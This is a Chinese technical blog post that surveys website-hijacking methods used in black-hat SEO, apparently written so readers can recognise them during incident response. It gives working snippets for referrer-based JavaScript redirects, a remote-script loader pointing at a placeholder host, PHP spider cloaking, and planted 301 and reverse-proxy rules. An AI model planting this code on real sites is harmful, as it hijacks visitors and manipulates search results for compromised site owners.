前言
本文主要是对常见的网站劫持方法进行总结学习,通过提前学习了解,不至于在遇到实际项目时手足无措。
网站劫持是黑帽SEO中的一种方式,可以通过入侵服务器获得权限后,对前端JS、后端脚本文件以及中间件进行设置,从而达到跳转到恶意网站提高网站权重的方法。
劫持方法
客户端劫持
客户端劫持手法有很多种,但是主要的就是以下两种
- js劫持
- header劫持
js劫持,顾名思义,就是通过新增或者将内容插入到网页中,通过JS代码达到跳转的目的。
JS劫持可以直接写入到源代码中,或者写入到数据库中(页面加载数据库内容,显示到页面),加载文件时,主要显示到页面中,jS代码就会生效,实现跳转。
<script>var s=document.referrer;
if(s.indexOf("baidu")>0||s.indexOf("soso")>0||s.indexOf("google")>0||s.indexOf("yahoo")>0||s.indexOf("sogou")>0||s.indexOf("youdao")>0||s.indexOf("bing")>0){self.location='http://www.xxxx.com';
}</script>
var regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}\//ig;
var where =document.referer;
if(regexp.test(where)){
document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>');
}
else
{
window.location.href="../../404.htm";
}
header 劫持,是通过标签 实现的,将以下内容放置到html文件的header头中,就会实现跳转,成功劫持
<meta http-equiv="refresh" content="3; url=https://www.baidu.com">
服务端劫持
服务端劫持也称为全局劫持,手法为修改网站动态语言文本,判断访问来源控制返回内容,从来达到网站劫持的目的。
除了修改的特定文件外,还要注意Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本, 然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问,则返回正常页面。
<?php
error_reporting(0);
//判断是否为百度蜘蛛,然后进行内容劫持
if(stripos($_SERVER["HTTP_USER_AGENT"],"baidu")>-1){
$file = file_get_contents('http://www.xxxx.com');
echo $file;
exit;
}
//判断是否来自百度搜索,然后进行url跳转
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {
Header("Location: http://www.xxxx.com/");//指定跳转
exit;
}
?>
利用301重定向劫持
301永久重定向是一种非常重要的“自动转向”技术,是网址重定向最为可行的一种办法。当用户或搜索引擎向网站服务器发出浏览请求时,服务器返回的HTTP数据流中头信息(header)中的状态码的一种,表示本网页永久性转移到另一个地址。–百度百科
IIS
右键-属性-网站-IP地址哪里点编辑增加一个站点,增加一个站点,绑定的一下主机头,也可以绑定多个闲置域名。然后使用如下图所示步骤进行配置,即可实现301跳转。
apache
在网站根目录创建或编辑.htaccess文件
添加以下代码
保存配置完成
RewriteEngine On
RewriteCond %{HTTP_HOST} ^ioiox.com [NC]
RewriteRule ^(.*)$ https://www.ioiox.com/$1 [L,R=301]
Nginx
配置文件示例
还可以输入nginx -t检查错误
wordpress
在你的WordPress根目录下找到wp-blog-header.php文件,在第一个<?php 后面添加以下代码
if (strtolower($_SERVER['SERVER_NAME'])!='AAA.cn'){
$URIRedirect=$_SERVER['REQUEST_URI'];
if(strtolower($URIRedirect)=="/index.php"){
$URIRedirect="/";
}
header('HTTP/1.1 301 Moved Permanently');
header('Location:http://AAA.cn’.$URIRedirect);
exit();
}
代码实现
除了使用中间件实现之外,还可以通过代码进行实现。
ASP
<%
if request.ServerVariables("HTTP_HOST")="tzchb.com" then
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://www.tzhcb.com/"
Response.End
end if
%>
PHP
header("HTTP/1.1 301 Moved Permanently");
header("Location:your_dest_url");
反向代理劫持
通过配置反向代理,可以实现特定访问特定路径时,被代理到恶意网站,实现劫持。
Nginx
主配置文件
location ~ /[0-9a-z]+sc {
proxy_pass https://www.xxxx.com/;
}
apache
主配置文件
#反向代理
ProxyRequests Off
ProxyPass /clusterDemo http://127.0.0.1:8081/clusterDemo
ProxyPassReverse /clusterDemo http://127.0.0.1:8081/clusterDemo
ProxyPass /clusterDemo2 http://127.0.0.1:8082/clusterDemo2
ProxyPassReverse /clusterDemo2 http://127.0.0.1:8082/clusterDemo2
ProxyPass /clusterDemo3 http://127.0.0.1:8083/clusterDemo3
ProxyPassReverse /clusterDemo3 http://127.0.0.1:8083/clusterDemo3
#8888为apache的监听端口
<proxy http://127.0.0.1:8888>
AllowOverride None
Order Deny,Allow
Allow from all
</proxy>
IIS恶意模块劫持
这种算是劫持时比较隐蔽的行为了,通过查杀工具查杀不到webshell,根据存在问题的链接去找文件夹也是找不到
排查时对不存在文件签名和奇怪路径的,创建时间不正常的进行排查。
参考
https://blog.csdn.net/cekaogai5015/article/details/100962570
https://cloud.tencent.com/developer/article/1811987
https://blog.csdn.net/UG8064/article/details/101334779
https://cloud.tencent.com/developer/article/1721931
https://blog.csdn.net/wendi_0506/article/details/88073414
https://www.ioiox.com/archives/18.html
https://www.ioiox.com/archives/19.html
https://developer.aliyun.com/article/334896